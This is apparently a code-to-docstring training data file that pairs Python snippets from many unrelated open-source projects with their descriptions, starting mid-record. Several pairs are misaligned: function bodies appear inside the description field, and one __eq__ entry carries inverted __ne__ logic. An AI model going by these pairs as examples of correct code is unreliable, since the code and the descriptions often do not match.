1cont_overlap = Trueelif rd.dna < regionset[j]:try:rd = next(iter_rd)j = pre_intercont_overlap = Falseexcept: cont_loop = Falseelif rd.dna > regionset[j]:if j == last_j:cont_loop = Falseelse:j = j + 1cont_overlap = Falsereturn resultdef sort_rd_by_regions(self, regionset):Sort RNADNA binding information by a given GenomicRegionSet"} {"code": "def virtual_reward(self) -> np.ndarray:\n vir_reward = super(PesteWave, self).virtual_reward()\n self.peste_walks = self.peste_distance()\n peste_reward = vir_reward * self.peste_walks ** self.peste_balance\n return peste_reward\n", "nl": "Calculate the virtual reward of the walkers. This quantity is used for determiningthe chance a given walker has of cloning. This scalar gives us a measure of howwell awalker is solving the exploration vs exploitation problem, with respect to theotherwalkers of the Swarm."} {"code": "def update_lr(self, g_lr, d_lr):\n self.g_optimizer.zero_grad()\n self.d_optimizer.zero_grad()\n", "nl": "Decay learning rates of the generator and discriminator.for param_group in self.g_optimizer.param_groups:param_group['lr'] = g_lrfor param_group in self.d_optimizer.param_groups:param_group['lr'] = d_lrdef reset_grad(self):Reset the gradient buffers."} {"code": "def populate_context(self, secret, kwds):\n\n this overrides the HandlerCase test harness methods\n so that an encoding can be inserted to hash/verify\n calls by passing in a pair of strings as the password\n will be interpreted as (secret,encoding)\n \"\"\"", "nl": "insert username into kwdsif isinstance(secret, tuple):secret, user = secretelif not self.requires_user:return secretelse:user = self.default_userif 'user' not in kwds:kwds['user'] = userreturn secret#===================================================================# modify fuzz testing#===================================================================class FuzzHashGenerator(HandlerCase.FuzzHashGenerator):context_map = HandlerCase.FuzzHashGenerator.context_map.copy()context_map.update(user=\"random_user\")user_alphabet = u(\"asdQWE123\")def random_user(self):rng = self.rngif not self.test.requires_user and rng.random() < .1:return Nonereturn getrandstr(rng, self.user_alphabet, rng.randint(2,10))#===================================================================# eoc#===================================================================class EncodingHandlerMixin(HandlerCase):helper for handlers w/ 'encoding' context kwd; mixin for HandlerCase"} {"code": "def remove(cls, alias):\n logger.info('removing source with alias \"{}\"'.format(alias))\n try:\n del cls._sources[alias]\n except KeyError:\n raise UnknownSourceError(alias)\n\n @classmethod", "nl": "Remove source by alias.Args:alias: Alias of source to remove."} {"code": "def test_checkForStop(self):\n sfp = SpiderFootPlugin()\n\n class DatabaseStub:", "nl": "Test checkForStop(self)"} {"code": "def analyze_api(version: int = 1) -> Response:\n if not (1 <= version <= 1):\n return better_jsonify(valid=False, reason=\"Unsupported version\")\n text = text_from_request(request)\n with SessionContext(commit=True) as session:\n pgs, stats, register = TreeUtility.tag_text(session, text, all_names=True)\n return better_jsonify(valid=True, result=pgs, stats=stats, register=register)\n return Response(\"Error\", status=403)\n\n\n@routes.route(\"/correct.api\", methods=[\"GET\", \"POST\"])\n@routes.route(\"/correct.api/v\", methods=[\"GET\", \"POST\"])", "nl": "Analyze text manually entered by the user, i.e. not coming from an article.This is a lower level API used by the Greynir web front-end."} {"code": "def get_user_keys(hostname):\n raw_identity_files = [\"~/.ssh/id_dsa\", \"~/.ssh/id_rsa\"]\n for config_path in (\"/etc/ssh/ssh_config\", \"~/.ssh/config\"):\n config_path = os.path.expanduser(config_path)\n if not os.path.exists(config_path):\n continue\n host_pattern = \"*\"\n config_lines = open(config_path).readlines()\n for line in config_lines:\n key, value = ParamikoHost._parse_config_line(line)\n if key == \"Host\":\n host_pattern = value\n elif (key == \"IdentityFile\" and fnmatch.fnmatch(hostname,\n host_pattern)):\n raw_identity_files.append(value)\n\n identity_files = []\n UNSUPPORTED_ESCAPES = [\"%d\", \"%u\", \"%l\", \"%h\", \"%r\"]\n for path in raw_identity_files:\n if sum((escape in path) for escape in UNSUPPORTED_ESCAPES):\n continue\n path = os.path.expanduser(path)\n if os.path.exists(path):\n identity_files.append(path)\n\n user_keys = {}\n for path in identity_files:\n key = ParamikoHost._load_key(path)\n if key:\n user_keys[path] = key\n\n use_sshagent = settings.get_value('AUTOSERV',\n 'use_sshagent_with_paramiko',\n type=bool)\n if use_sshagent:\n ssh_agent = paramiko.Agent()\n for i, key in enumerate(ssh_agent.get_keys()):\n user_keys['agent-key-%d' % i] = key\n\n return user_keys\n", "nl": "Returns a mapping of path -> paramiko.PKey entries available forthis user. Keys are found in the default locations (~/.ssh/id_[d|r]sa)as well as any IdentityFile entries in the standard ssh config files."} {"code": "def test_wei_tranche_calculate_preico_price(chain, wei_tranche_pricing, start_time, presale_fund_collector):\n\n value = to_wei(50, \"ether\")\n presale_fund_collector.functions.invest().transact({\"from\": customer, \"value\": value})\n\n presale_fund_collector.functions.setCrowdsale(wei_tranche_ico.address).transact({\"from\": team_multisig})\n time_travel(chain, start_time)\n\n assert wei_tranche_ico.functions.getState().call() == CrowdsaleState.Funding\n\n presale_fund_collector.functions.participateCrowdsaleAll().transact()\n\n wei_tranche_ico.functions.investedAmountOf(customer).call() == to_wei(50, \"ether\")\n token.functions.balanceOf(customer).call() == 50 / 0.050\n\n", "nl": "Preico contributors get their special price.# Pre-ico address always buys at the fixed priceassert wei_tranche_pricing.call().calculatePrice(to_wei(\"0.05\", \"ether\"),0,0,presale_fund_collector.address,0) == 1def test_presale_move_to_wei_tranche_based_crowdsale(chain, presale_fund_collector, wei_tranche_ico, finalizer, token, start_time, team_multisig, customer, customer_2):When pre-ico contract funds are moved to the crowdsale, the pre-sale investors gets tokens with a preferred price and not the current wei_tranche price."} {"code": "def encode(self):\n self.payload = b('')\n for item in self._seq:\n if byte_string(item):\n self.payload += item\n elif _is_number(item):\n self.payload += DerInteger(item).encode()\n else:\n self.payload += item.encode()\n return DerObject.encode(self)\n", "nl": "Return this DER SEQUENCE, fully encoded as abinary string.:Raises ValueError:If some elements in the sequence are neither integersnor byte strings."} {"code": "def __init__(self, dataset_cfg, class_names, infos=None, training=True, root_path=None, logger=None):\n assert training is True\n super().__init__(\n dataset_cfg=dataset_cfg, class_names=class_names, infos=infos, training=training, root_path=root_path, logger=logger\n )\n", "nl": "Args:root_path:dataset_cfg:class_names:training:logger:"} {"code": "def success_handler(self, record, result: Any) -> SuccessResponse:\n entry = (\"success\", result, record)\n self.success_messages.append(record)\n return entry\n", "nl": "Keeps track of batch records that were processed successfullyParameters----------record: Anyrecord that succeeded processingresult: Anyresult from record handlerReturns-------SuccessResponse\"success\", result, original record"} {"code": "def _handleUnexpectedToonExit(self, toonId):\n self.notify.debug(\"BASE: _handleUnexpectedToonExit( toonId=%s )\" % toonId)\n self._removeToon(toonId)\n self.sendUpdate(\"setToonsPlaying\", [self.toonIds])\n\n", "nl": "An avatar bailed out because he lost his connection or quitunexpectedly. Sub-classes may need to extend this function."} {"code": "def get_CIFAR10_data(num_training=49000, num_validation=1000, num_test=1000):\n cifar10_dir = 'datasets/cifar-10-batches-py'\n X_train, y_train, X_test, y_test = load_CIFAR10(cifar10_dir)\n\n mask = range(num_training, num_training + num_validation)\n X_val = X_train[mask]\n y_val = y_train[mask]\n mask = range(num_training)\n X_train = X_train[mask]\n y_train = y_train[mask]\n mask = range(num_test)\n X_test = X_test[mask]\n y_test = y_test[mask]\n\n mean_image = np.mean(X_train, axis=0)\n X_train -= mean_image\n X_val -= mean_image\n X_test -= mean_image\n\n X_train = X_train.transpose(0, 3, 1, 2).copy()\n X_val = X_val.transpose(0, 3, 1, 2).copy()\n X_test = X_test.transpose(0, 3, 1, 2).copy()\n\n return {\n 'X_train': X_train, 'y_train': y_train,\n 'X_val': X_val, 'y_val': y_val,\n 'X_test': X_test, 'y_test': y_test,\n }\n\n", "nl": "Load the CIFAR-10 dataset from disk and perform preprocessing to prepareit for classifiers. These are the same steps as we used for the SVM, butcondensed to a single function."} {"code": "def simulate(self, atoms=None):\n rec_matrix = atoms.lattice.reciprocal_lattice_crystallographic().matrix\n\n min_r = self.wavelength / np.sin(self.max2theta / 2) / 2\n r1 = list(range(1, self.max_index + 1))\n r2 = list(range(-self.max_index, 1))\n r2.reverse()\n r3 = r1 + r2\n r = r3\n hkl_index = [\n miller\n for miller in itertools.product(r, r, r)\n if any([i != 0 for i in miller])\n ]\n hkl_max = np.array([self.max_index, self.max_index, self.max_index])\n for index in hkl_index:\n d = np.linalg.norm(np.dot(index, rec_matrix))\n multiple = int(np.ceil(1 / d / min_r))\n index *= multiple\n for i in range(len(hkl_max)):\n if hkl_max[i] < index[i]:\n hkl_max[i] = index[i]\n\n h1, k1, l1 = hkl_max\n h = np.arange(-h1, h1 + 1)\n k = np.arange(-k1, k1 + 1)\n L = np.arange(-l1, l1 + 1)\n\n hkl = np.array((np.meshgrid(h, k, L))).transpose()\n hkl_list = np.reshape(hkl, [len(h) * len(k) * len(L), 3])\n hkl_list = hkl_list[np.where(hkl_list.any(axis=1))[0]]\n d_hkl = 1 / np.linalg.norm(np.dot(hkl_list, rec_matrix), axis=1)\n\n shortlist = d_hkl > (min_r)\n d_hkl = d_hkl[shortlist]\n hkl_list = hkl_list[shortlist]\n sintheta = self.wavelength / 2 / d_hkl\n self.theta = np.arcsin(sintheta)\n self.hkl_list = np.array(hkl_list)\n self.d_hkl = d_hkl\n fp = os.path.join(\n os.path.dirname(__file__), \"atomic_scattering_params.json\"\n )\n with open(fp, \"r\") as f:\n ATOMIC_SCATTERING_PARAMS = json.load(f)\n d0 = (1 / 2 / self.d_hkl) ** 2\n coeffs = []\n zs = []\n for elem in atoms.elements:\n if elem == \"D\":\n elem = \"H\"\n c = ATOMIC_SCATTERING_PARAMS[elem]\n z = Specie(elem).Z\n coeffs.append(c)\n zs.append(z)\n coeffs = np.array(coeffs)\n self.peaks = {}\n two_thetas = []\n\n for hkl, s2, theta, d_hkl in zip(\n self.hkl_list, d0, self.theta, self.d_hkl\n ):\n\n g_dot_r = np.dot(atoms.frac_coords, np.transpose([hkl])).T[0]\n sf = zs - 41.78214 * s2 * np.sum(\n coeffs[:, :, 0] * np.exp(-coeffs[:, :, 1] * s2), axis=1\n )\n\n f = np.sum(sf * np.exp(2j * np.pi * g_dot_r))\n\n lf = (1 + np.cos(2 * theta) ** 2) / (\n np.sin(theta) ** 2 * np.cos(theta)\n )\n\n po = 1\n intensity_tmp = (f * f.conjugate()).real\n\n two_theta = np.degrees(2 * theta)\n\n ind = np.where(\n np.abs(np.subtract(two_thetas, two_theta)) < self.two_theta_tol\n )\n\n if len(ind[0]) > 0:\n self.peaks[two_thetas[ind[0][0]]][0] += intensity_tmp * lf * po\n self.peaks[two_thetas[ind[0][0]]][1].append(tuple(hkl))\n else:\n self.peaks[two_theta] = [\n intensity_tmp * lf * po,\n [tuple(hkl)],\n d_hkl,\n ]\n two_thetas.append(two_theta)\n\n x = []\n y = []\n d_hkls = []\n hkl_families = []\n for k in sorted(self.peaks.keys()):\n v = self.peaks[k]\n x.append(k)\n y.append(v[0])\n d_hkls.append(v[2])\n family = self.get_unique_families(v[1])\n hkl_families.append(family)\n x = np.array(x)\n y = np.array(y)\n d_hkls = np.array(d_hkls)\n const = np.sum(y, axis=0)\n y = y * self.scaling_factor / const\n screen = y > self.intensity_tol\n self.intensity_array = y[screen]\n self.two_theta_array = x[screen]\n self.dhkl_array = d_hkls[screen]\n return (\n x[screen].tolist(),\n d_hkls[screen].tolist(),\n y[screen].tolist(),\n )\n", "nl": "Simulate XRD pattern.Forked from https://github.com/qzhu2017/XRD."} {"code": "def __ne__(self, o):\n if o.var_name:\n if self.long_name != o.long_name:\n return True\n else:\n if self.name != o.name:\n return True\n return False\n", "nl": "The comparison is asymmetric due to optimization."} {"code": "def get_object(self, cls, id):\n print qs\n self.cursor.execute(qs)\n self.commit()\n\n", "nl": "qs = SELECT * FROM \"%s\" WHERE id='%s'; % (self.db_table, id)self.cursor.execute(qs, None)if self.cursor.rowcount == 1:row = self.cursor.fetchone()return self._object_from_row(row, self.cursor.description)else:raise SDBPersistenceError('%s object with id=%s does not exist' % (cls.__name__, id))def get_object_from_id(self, id):return self.get_object(self.cls, id)def _find_calculated_props(self, obj):return [p for p in obj.properties() if hasattr(p, 'calculated_type')]def save_object(self, obj, expected_value=None):obj._auto_update = Falsecalculated = self._find_calculated_props(obj)if not obj.id:obj.id = str(uuid.uuid4())qs, values = self._build_insert_qs(obj, calculated)else:qs, values = self._build_update_qs(obj, calculated)print qsself.cursor.execute(qs, values)if calculated:calc_values = self.cursor.fetchone()print calculatedprint calc_valuesfor i in range(0, len(calculated)):prop = calculated[i]prop._set_direct(obj, calc_values[i])self.commit()def delete_object(self, obj):qs = DELETE FROM \"%s\" WHERE id='%s'; % (self.db_table, obj.id)"} {"code": "def del_query_param_value(self, name, value):\n return self.with_query(self.query.del_param_value(name, value))\n\n @property", "nl": "Remove any and all query parameters with the given name/value pair fromthe URL.>>> print(URLObject(\"http://www.google.com?a=b&a=c&a=d\").del_query_param_value(\"a\", \"c\"))http://www.google.com?a=b&a=d"} {"code": "def test_missingTemplateLoader(self):\n element = Element()\n err = self.assertRaises(MissingTemplateLoader, element.render, None)\n self.assertIdentical(err.element, element)\n\n", "nl": "L{Element.render} raises L{MissingTemplateLoader} if the C{loader}attribute is L{None}."} {"code": "def __init__(self, hass):\n return 'Octopus Agile Minimum Rate'\n\n @property", "nl": "Initialize the sensor.self._state = None# self._hass = hassself._attributes = {}self.hass = hassself.entity_id = \"sensor.octopus_agile_min_rate\"# if \"region_code\" not in self.config[\"OctopusAgile\"]:# _LOGGER.error(\"region_code must be set for OctopusAgile\")# else:region_code = hass.states.get(\"octopusagile.region_code\").stateself.myrates = Agile(region_code)self.timer(dt_util.utcnow())@propertydef name(self):Return the name of the sensor."} {"code": "def get_helpers(self) -> dict[str, Callable[..., Any]]:\n return {'example_theme_most_popular_groups': most_popular_groups,\n 'example_theme_show_most_popular_groups':\n show_most_popular_groups,\n }\n\n", "nl": "Register the most_popular_groups() function above as a templatehelper function."} {"code": "def login_user(self, input_data):", "nl": "Authenticate usersusername = input_data.get('username', '')password = input_data.get('password', '')try:move_info = self.get_move_temp_info(input_data)except ValidationException as ve:return {'error': str(ve)}user = self.get_authenticated_user(username, password)# first, authenticate the user# if failing, see if case-insensitive username and try thatif not user:return {'error': 'invalid_login'}# if not enough space, don't continue with loginif move_info:if not self.has_space_for_new_collection(user.my_id,move_info['from_user'],'temp'):#return {'error': 'Sorry, not enough space to import this Temporary Collection into your account.'}return {'error': 'out_of_space'}new_collection = Nonetry:if move_info:new_collection = self.move_temp_coll(user, move_info)except DupeNameException as de:return {'error': 'duplicate_name'}#return {'error': 'Collection \"{0}\" already exists'.format(move_info['to_title'])}remember_me = get_bool(input_data.get('remember_me'))# login session and access systemself.access.log_in(user.my_id, remember_me)user.update_last_login()return {'success': '1','new_coll_name': new_collection.name if new_collection else None,'user': user}def logout(self):sesh = self.get_session()sesh.delete()returndef has_user_email(self, email):#TODO: implement a email table, if needed?for n, user_data in self.all_users.items():if user_data['email_addr'] == email:return Truereturn Falsedef get_user_email(self, user):if not user:return ''try:user_data = self.all_users[user]except:user_data = Noneif user_data:return user_data.get('email_addr', '')else:return ''def is_username_available(self, username):username_lc = username.lower()# username matches of the restricted namesif username_lc in self.RESTRICTED_NAMES:return False# username doesn't match the allowed regexif not self.USER_RX.match(username):return False# lowercase username already existsif self.redis.hexists(self.LC_USERNAMES_KEY, username_lc):return False# username already exists! (shouldn't match if lowercase exists, but just in case)if username in self.all_users:return Falsereturn Truedef validate_user(self, user, email):if not self.is_username_available(user):raise ValidationException('username_not_available')if self.has_user_email(email):raise ValidationException('email_not_available')return Truedef validate_password(self, password, confirm):if password != confirm:raise ValidationException('password_mismatch')if not self.PASS_RX.match(password):raise ValidationException('password_invalid')return Truedef _get_access(self):return request['webrec.access']@propertydef access(self):return self._get_access()def get_roles(self):return [x for x in self.cork._store.roles]def get_user(self, username):try:return self.all_users[username]except:return Nonedef get_user_coll(self, username, coll_name):user = self.get_user(username)if not user:return None, Nonecollection = user.get_collection_by_name(coll_name)return user, collectiondef get_user_coll_rec(self, username, coll_name, rec):user, collection = self.get_user_coll(username, coll_name)if collection:recording = collection.get_recording(rec)else:recording = Nonereturn user, collection, recordingdef update_password(self, curr_password, password, confirm):username = self.access.session_user.nameif not self.cork.verify_password(username, curr_password):raise ValidationException('invalid_password')self.validate_password(password, confirm)self.cork.update_password(username, password)def reset_password(self, password, confirm, resetcode):self.validate_password(password, confirm)try:self.cork.reset_password(resetcode, password)except AuthException:raise ValidationException('invalid_reset_code')def is_valid_invite(self, invitekey):try:if not invitekey:return Falsekey = base64.b64decode(invitekey.encode('utf-8')).decode('utf-8')key.split(':', 1)email, hash_ = key.split(':', 1)entry = self.invites[email]if entry and entry.get('hash_') == hash_:return emailexcept Exception as e:print(e)passmsg = 'Sorry, that is not a valid invite code. Please try again or request another invite'raise ValidationException(msg)def delete_invite(self, email):try:archive_invites = RedisTable(self.redis, 'h:arc_invites')archive_invites[email] = self.invites[email]except:passdel self.invites[email]def save_invite(self, email, name, desc=''):if not email or not name:return Falseself.invites[email] = {'name': name, 'email': email, 'reg_data': desc}return Truedef send_invite(self, email, email_template, host):entry = self.invites[email]if not entry:print('No Such Email In Invite List')return Falsehash_ = base64.b64encode(os.urandom(21)).decode('utf-8')entry['hash_'] = hash_full_hash = email + ':' + hash_invitekey = base64.b64encode(full_hash.encode('utf-8')).decode('utf-8')email_text = template(email_template,host=host,email_addr=email,name=entry.get('name', email),invite=invitekey,)self.cork.mailer.send_email(email, 'You are invited to join webrecorder.io beta!', email_text)entry['sent'] = str(datetime.utcnow())return Truedef add_to_mailing_list(self, username, email, name, list_endpoint=None):3rd party mailing list subscription"} {"code": "def retrbinary(self, cmd, callback, blocksize=8192, rest=None):\n self.voidcmd('TYPE I')\n with self.transfercmd(cmd, rest) as conn:\n while 1:\n data = conn.recv(blocksize)\n if not data:\n break\n callback(data)\n if _SSLSocket is not None and isinstance(conn, _SSLSocket):\n conn.unwrap()\n return self.voidresp()\n", "nl": "Retrieve data in binary mode. A new port is created for you.Args:cmd: A RETR command.callback: A single parameter callable to be called on eachblock of data read.blocksize: The maximum number of bytes to read from thesocket at one time. [default: 8192]rest: Passed to transfercmd(). [default: None]Returns:The response code."} {"code": "def easy_dtype(ndtype, names=None, defaultfmt=\"f%i\", **validationargs):\n try:\n ndtype = np.dtype(ndtype)\n except TypeError:\n validate = NameValidator(**validationargs)\n nbfields = len(ndtype)\n if names is None:\n names = [''] * len(ndtype)\n elif isinstance(names, basestring):\n names = names.split(\",\")", "nl": "Convenience function to create a `np.dtype` object.The function processes the input `dtype` and matches it with the givennames.Parameters----------ndtype : varDefinition of the dtype. Can be any string or dictionary recognizedby the `np.dtype` function, or a sequence of types.names : str or sequence, optionalSequence of strings to use as field names for a structured dtype.For convenience, `names` can be a string of a comma-separated listof names.defaultfmt : str, optionalFormat string used to define missing names, such as ``\"f%i\"``(default) or ``\"fields_%02i\"``.validationargs : optionalA series of optional arguments used to initialize a`NameValidator`.Examples-------->>> np.lib._iotools.easy_dtype(float)dtype('float64')>>> np.lib._iotools.easy_dtype(\"i4, f8\")dtype([('f0', '>> np.lib._iotools.easy_dtype(\"i4, f8\", defaultfmt=\"field_%03i\")dtype([('field_000', '>> np.lib._iotools.easy_dtype((int, float, float), names=\"a,b,c\")dtype([('a', '>> np.lib._iotools.easy_dtype(float, names=\"a,b,c\")dtype([('a', ' float:\n return (1.0 + self.corr(src, tar)) / 2.0\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()", "nl": "Return the Kuhns VI similarity of two strings.Parameters----------src : strSource string (or QGrams/Counter objects) for comparisontar : strTarget string (or QGrams/Counter objects) for comparisonReturns-------floatKuhns VI similarityExamples-------->>> cmp = KuhnsVI()>>> cmp.sim('cat', 'hat')0.7487179487179485>>> cmp.sim('Niall', 'Neil')0.6974326059050064>>> cmp.sim('aluminum', 'Catalan')0.557351994851995>>> cmp.sim('ATCG', 'TAGC')0.496790757381258.. versionadded:: 0.4.0"} {"code": "def decode_long(data):\n\n nbytes = len(data)\n if nbytes == 0:\n return 0L\n ind = nbytes - 1\n while ind and ord(data[ind]) == 0:\n ind -= 1\n n = ord(data[ind])\n while ind:\n n <<= 8\n ind -= 1\n if ord(data[ind]):\n n += ord(data[ind])\n if ord(data[nbytes - 1]) >= 128:\n n -= 1L << (nbytes << 3)\n return n\n", "nl": "rDecode a long from a two's complement little-endian binary string.>>> decode_long('')0L>>> decode_long(\"\\xff\\x00\")255L>>> decode_long(\"\\xff\\x7f\")32767L>>> decode_long(\"\\x00\\xff\")-256L>>> decode_long(\"\\x00\\x80\")-32768L>>> decode_long(\"\\x80\")-128L>>> decode_long(\"\\x7f\")127L"} {"code": "def __eq__(self, other):\n if not isinstance(other, V1NodeSelectorRequirement):\n return True\n\n return self.to_dict() != other.to_dict()", "nl": "Returns true if both objects are equalif not isinstance(other, V1NodeSelectorRequirement):return Falsereturn self.to_dict() == other.to_dict()def __ne__(self, other):Returns true if both objects are not equal"} {"code": "def find_gwt_dir():\n site_gwt = os.path.join(_AUTOTEST_DIR, 'site-packages', 'gwt')\n\n if os.path.isdir(site_gwt):\n return site_gwt\n\n if not os.path.isdir(_DEFAULT_GWT_DIR):\n logging.error('Unable to find GWT. '\n 'You can use utils/build_externals.py to install it.')\n sys.exit(1)\n\n return _DEFAULT_GWT_DIR\n\n", "nl": "See if GWT is installed in site-packages or in the system,site-packages is favored over a system install."} {"code": "def is_exiting():\n global _exiting\n return _exiting or _exiting is None\n\n\n_exiting = False\n", "nl": "Returns true if the process is shutting down"} {"code": "def _check_before_run(self):\n CUHK03\n\n Reference:\n Li et al. DeepReID: Deep Filter Pairing Neural Network for Person Re-identification. CVPR 2014.\n\n URL: http://www.ee.cuhk.edu.hk/~xgwang/CUHK_identification.html\n\n Dataset statistics:\n\n Args:", "nl": "Check if all files are available before going deeperif not osp.exists(self.dataset_dir):raise RuntimeError(\"'{}' is not available\".format(self.dataset_dir))if not osp.exists(self.train_dir):raise RuntimeError(\"'{}' is not available\".format(self.train_dir))if not osp.exists(self.query_dir):raise RuntimeError(\"'{}' is not available\".format(self.query_dir))if not osp.exists(self.gallery_dir):raise RuntimeError(\"'{}' is not available\".format(self.gallery_dir))def _process_dir(self, dir_path, relabel=False):img_paths = glob.glob(osp.join(dir_path, '*.jpg'))pattern = re.compile(r'([-\\d]+)_c(\\d)')pid_container = set()for img_path in img_paths:pid, _ = map(int, pattern.search(img_path).groups())if pid == -1: continue # junk images are just ignoredpid_container.add(pid)pid2label = {pid: label for label, pid in enumerate(pid_container)}dataset = []for img_path in img_paths:pid, camid = map(int, pattern.search(img_path).groups())if pid == -1: continue # junk images are just ignoredassert 0 <= pid <= 1501 # pid == 0 means backgroundassert 1 <= camid <= 6camid -= 1 # index starts from 0if relabel: pid = pid2label[pid]dataset.append((img_path, pid, camid))num_pids = len(pid_container)num_imgs = len(dataset)return dataset, num_pids, num_imgsclass CUHK03(object):"} {"code": "def nonempty(self, threshold: int = 0) -> torch.Tensor:\n box = self.tensor\n widths = box[:, 2] - box[:, 0]\n heights = box[:, 3] - box[:, 1]\n keep = (widths > threshold) & (heights > threshold)\n return keep\n", "nl": "Find boxes that are non-empty.A box is considered empty, if either of its side is no larger than threshold.Returns:Tensor:a binary vector which represents whether each box is empty(False) or non-empty (True)."} {"code": "def as_cidr_addr(self):\n if sys.version_info[0] < 3:\n return str(self.network) + \"/\" + str(self.prefixlen)\n else:\n return str(self.network)\n\n @property", "nl": "Returns a string with the address in CIDR notationreturn str(self.ip) + \"/\" + str(self.prefixlen)# On IPv4Obj()@propertydef as_cidr_net(self):Returns a string with the network in CIDR notation"} {"code": "def print_to_dic(self):\n return {\"length\": self.length,\n \"seq_name\": self.seq_name,\n \"seg_idx\": self.seg_idx,\n \"start_pos\": self.start_pos,\n \"info_id\": self.info_id}\n", "nl": "Print to dictionary format in order to dump"} {"code": "def fallback_folder(self):\n\n\t\t_folders = self.folders()\n\t\tif len(_folders) < 2:\n\t\t\treturn None\n\t\treturn _folders[-1]\n", "nl": "returns:desc:\tThe full path to the fallback pool folder, which is the`__pool__` subfolder of the current experiment folder, or`None` if this folder does not exist. The fallback poolfolder is mostly useful in combination with a versioningsystem, such as git, because it allows you to save theexperiment as a plain-text file, even when having filesin the file pool.type:\t[unicode, NoneType]example: |if pool.fallback_folder() is not None:print(u'There is a fallback pool folder!')"} {"code": "def finalize(self, dbArgs={}):\n activated, it stays active until a sibling becomes active.\"\"\"", "nl": "catch this call and influence the appearance of our buttonif not self.isDirty():returnr,g,b = self.getColorScheme().getArrowColor()a = self.getColorScheme().getAlpha()self.scArrow.setColorScale(r,g,b,a)if self.menu is not None:# adjust the position of the menuself.menu.setPos(self.getMenuOffset())if self.isActive():r,g,b = self.getColorScheme().getMenuHolderActiveColor()a = self.getColorScheme().getAlpha()frameColor = (r,g,b,a)else:frameColor = SCMenuHolder.DefaultFrameColorargs = {'image': self.scArrow,'image_pos': (self.width-.5,0,-self.height*.5),'frameColor': frameColor,}args.update(dbArgs)SCElement.finalize(self, dbArgs=args)def hasStickyFocus(self):menu holders have sticky focus. Once a menu holder gets"} {"code": "def set_input(self, input):\n self.keypoints = input['keypoints'].to(self.device)\n self.image_paths = input['path']\n", "nl": "Unpack input data from the dataloader.Parameters:input: a dictionary that contains the data itself and its metadata information."} {"code": "def split(self, fnm=None, ftype=None, method=\"chunks\", num=None):\n logger.error('Apparently this function has not been implemented!!')\n raise NotImplementedError\n", "nl": " Split the molecule object into a number of separate files(chunks), either by specifying the number of frames per chunkor the number of chunks. Only relevant for \"trajectories\".The type of file may be specified; if they aren't specifiedthen the original file type is used.The output file names are [name].[numbers].[extension] where[name] can be specified by passing 'fnm' or taken from theobject's 'fnm' attribute by default. [numbers] are integersranging from the lowest to the highest chunk number, prependedby zeros.If the number of chunks / frames is not specified, then one fileis written for each frame.@return fnms A list of the file names that were written."} {"code": "def add_update_fields(self, values_seq):\n from django.db.models.base import Model\n for field, model, val in values_seq:\n if field.rel and isinstance(val, Model):\n val = val.pk\n\n if hasattr(field, 'get_placeholder'):\n placeholder = field.get_placeholder(val)\n else:\n placeholder = '%s'\n\n if model:\n self.add_related_update(model, field.column, val, placeholder)\n else:\n self.values.append((field.column, val, placeholder))\n", "nl": "Turn a sequence of (field, model, value) triples into an update query.Used by add_update_values() as well as the \"fast\" update path whensaving models."} {"code": "def do_remove(self, arguments):\n\n print \"Remote repositories:\"\n for url in Remote.all():\n print \" %s\" % url\n\n try:\n Remote(url).download(\"INDEX.xml\")\n except NetworkException:\n print \" INACCESSIBLE\"\n print\n", "nl": "remove a remote module repositoryif len(arguments.options) == 1:url = arguments.options[0]try:Remote.delete(url)print \"Removed remove %s.\\n\" % urlexcept UnknownRemote:print \"The target (%s) is not a remote module repository.\\n\" % urlelse:print \"usage: drozer module remote delete http://path.to.repository/\\n\"def do_list(self, arguments):shows a list of all remotes"} {"code": "def get_pragmas(self):\n\t\ttry:\n\t\t\tconn = sqlite3.connect(self.dbfile)\n\t\texcept sqlite3.Error as err:\n\t\t\treturn (None, err)\n\n\t\twith conn:\n\n\t\t\trec = _pragmas.copy()\n\n\t\t\tfor k, v in rec.items():\n\n\t\t\t\tif v:\n\t\t\t\t\trec[k] = pragma_messages[v]\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\trec[k] = conn.execute('''PRAGMA {0}'''.format(k)).fetchone()[0]", "nl": "returns a tuple (dict, sqlite3.Error)if there is no error, dict is valid and err is None.if there is an error, dict is None abd error is a sqlite3.Error object"} {"code": "def build(self, input_shape):\n input_shape = input_shape.as_list()\n ndims = len(input_shape)\n\n if isinstance(self.axis, int):\n self.axis = [self.axis]\n if not isinstance(self.axis, list):\n raise TypeError('axis must be int or list, type given: %s'\n % type(self.axis))\n for idx, x in enumerate(self.axis):\n if x < 0:\n self.axis[idx] = ndims + x\n for x in self.axis:\n if x < 0 or x >= ndims:\n raise ValueError('Invalid axis: %d' % x)\n if len(self.axis) != len(set(self.axis)):\n raise ValueError('Duplicate axis: %s' % self.axis)\n\n axis_to_dim = {x: input_shape[x] for x in self.axis}\n for x in axis_to_dim:\n if axis_to_dim[x] is None:", "nl": "Allocation of variables for the normalizer.See `call`, `fprop`, and `bprop` for variable usage."} {"code": "def __getitem__(self, key):\n if key == 0:\n self.left = value\n else:\n self.right = value\n", "nl": "N.__getitem__(key) <==> x[key], where key is 0 (left) or 1 (right).return self.left if key == 0 else self.rightdef __setitem__(self, key, value):N.__setitem__(key, value) <==> x[key]=value, where key is 0 (left) or 1 (right)."} {"code": "def flush(self):\n\n It uses a transfer coordinator to propogate an error if it notices\n that a read is being made while the file is being read from.\n\n :type fileobj: file-like obj\n :param fileobj: The file-like object to read from\n\n :type transfer_coordinator: s3transfer.futures.TransferCoordinator\n :param transfer_coordinator: The transfer coordinator to use if the\n reader needs to be interrupted.\n \"\"\"", "nl": "Flushes out any progress that has not been sent to its callbacksif self._bytes_seen > 0:self._trigger_callbacks()def _trigger_callbacks(self):for callback in self._callbacks:callback(bytes_transferred=self._bytes_seen)self._bytes_seen = 0class InterruptReader(object):Wrapper that can interrupt reading using an error"} {"code": "def decode_labels(mask, num_images=1, num_classes=21):\n mask = mask.data.cpu().numpy()\n n, h, w = mask.shape\n assert(n >= num_images), 'Batch size %d should be greater or equal than number of images to save %d.' % (n, num_images)\n outputs = np.zeros((num_images, h, w, 3), dtype=np.uint8)\n for i in range(num_images):\n img = Image.new('RGB', (len(mask[i, 0]), len(mask[i])))\n pixels = img.load()\n for j_, j in enumerate(mask[i, :, :]):\n for k_, k in enumerate(j):\n if k < num_classes:\n pixels[k_,j_] = label_colours[k]\n outputs[i] = np.array(img)\n return outputs\n", "nl": "Decode batch of segmentation masks.Args:mask: result of inference after taking argmax.num_images: number of images to decode from the batch.num_classes: number of classes to predict (including background).Returns:A batch with num_images RGB images of the same size as the input."} {"code": "def close(self):\n", 